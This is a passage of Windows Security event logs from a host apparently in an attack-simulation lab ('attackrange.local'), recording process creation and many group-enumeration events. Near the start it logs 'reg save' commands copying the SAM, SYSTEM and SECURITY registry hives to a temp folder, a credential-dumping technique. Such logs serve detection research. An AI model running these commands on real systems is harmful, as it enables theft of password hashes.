Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: reg save HKLM\sam C:\Users\ADMINI~1\AppData\Local\Temp\sam - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257872 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "reg save HKLM\sam %temp%\sam & reg save HKLM\system %temp%\system & reg save HKLM\security %temp%\security" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257968 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257967 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257966 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257965 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257964 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257963 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257962 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257961 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257960 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257959 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257958 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257957 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257956 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257955 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257954 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257953 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257952 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257951 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257950 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257949 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257948 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257947 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257946 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257945 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257944 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257943 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257942 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257941 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257940 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257939 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257938 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257937 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257936 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257935 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257934 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257933 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257932 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257931 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257930 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257929 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257928 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257927 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257926 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257925 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257924 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info 